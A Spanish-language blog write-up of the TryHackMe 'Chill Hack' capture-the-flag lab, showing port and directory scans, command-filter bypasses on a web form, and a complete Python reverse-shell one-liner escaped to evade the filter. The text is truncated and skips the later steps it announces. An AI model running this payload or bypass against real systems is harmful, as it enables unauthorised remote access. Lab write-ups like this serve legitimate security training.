Chill Hack es un CTF sencillo de TryHackMe en el que veremos command injection, un poco de estenografía, movimientos laterales desde un script de bash y escape de entornos Docker.
Empezaremos lanzando un escaneo con Nmap:
nmap -sC -sV -p- 10.10.87.50Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-28 12:16 CESTNmap scan report for 10.10.87.50Host is up (0.036s latency).Not shown: 65532 closed tcp ports (reset)PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.3| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt| ftp-syst:| STAT:| FTP server status:| Connected to ::ffff:10.8.180.82| Logged in as ftp| TYPE: ASCII| No session bandwidth limit| Session timeout in seconds is 300| Control connection is plain text| Data connections will be plain text| At session startup, client count was 4| vsFTPd 3.0.3 - secure, fast, stable|_End of status22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 2048 09:f9:5d:b9:18:d0:b2:3a:82:2d:6e:76:8c:c2:01:44 (RSA)| 256 1b:cf:3a:49:8b:1b:20:b0:2c:6a:a5:51:a8:8f:1e:62 (ECDSA)|_ 256 30:05:cc:52:c6:6f:65:04:86:0f:72:41:c8:a4:39:cf (ED25519)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))|_http-title: Game Info|_http-server-header: Apache/2.4.29 (Ubuntu)Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 29.05 seconds
Tras el escaneo, podemos ver que tenemos como posibles vectores de ataque los puertos 21 (FTP), 22 (SSH) y 80 (HTTP).
El acceso anónimo está habilitado en FTP así que echaremos un primer vistazo ahí. Encontramos un fichero de texto "note.txt":
gobuster dir -u http://10.10.87.50 -w /usr/share/wordlists/dirb/big.txt===============================================================Gobuster v3.1.0by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://10.10.87.50[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/wordlists/dirb/big.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.1.0[+] Timeout: 10s===============================================================2022/07/28 12:24:11 Starting gobuster in directory enumeration mode===============================================================/.htaccess (Status: 403) [Size: 276]/.htpasswd (Status: 403) [Size: 276]/css (Status: 301) [Size: 308] [--> http://10.10.87.50/css/]/fonts (Status: 301) [Size: 310] [--> http://10.10.87.50/fonts/]/images (Status: 301) [Size: 311] [--> http://10.10.87.50/images/]/js (Status: 301) [Size: 307] [--> http://10.10.87.50/js/]/secret (Status: 301) [Size: 311] [--> http://10.10.87.50/secret/]/server-status (Status: 403) [Size: 276]===============================================================2022/07/28 12:25:26 Finished===============================================================
Lo primero que nos llama la atención es el directorio "secret". Si lo visitamos, podemos ver un campo donde en teoría se procesan los comandos que le proporcionemos:
Tras trastear un poco, empiezo a identificar los comandos permitidos (id,pwd,whoami...) y los que no (head, tail, cat, ls...). En vez de "cat" podemos usar "xxd" y en vez de "ls" podemos usar "echo *."
Después de intentar extraer información sin éxito con los comandos permitidos decido centrarme en conseguir ejecutar una reverse shell en el servidor. Tras muchos intentos, descubro gracias a PayloadAllTheThings que escapando el comando "python", podría ejecutarlo. Este es el ejemplo que dan ellos:
p\ython3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.180.82",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Tras poner el puerto a la escucha y ejecutar la revershel shell en el servidor, recibimos nuestra shell ;)
El script tiene el siguiente contenido:
"You have reached this far. Look in the dark! You will find your answer"


No hay comentarios:
Publicar un comentario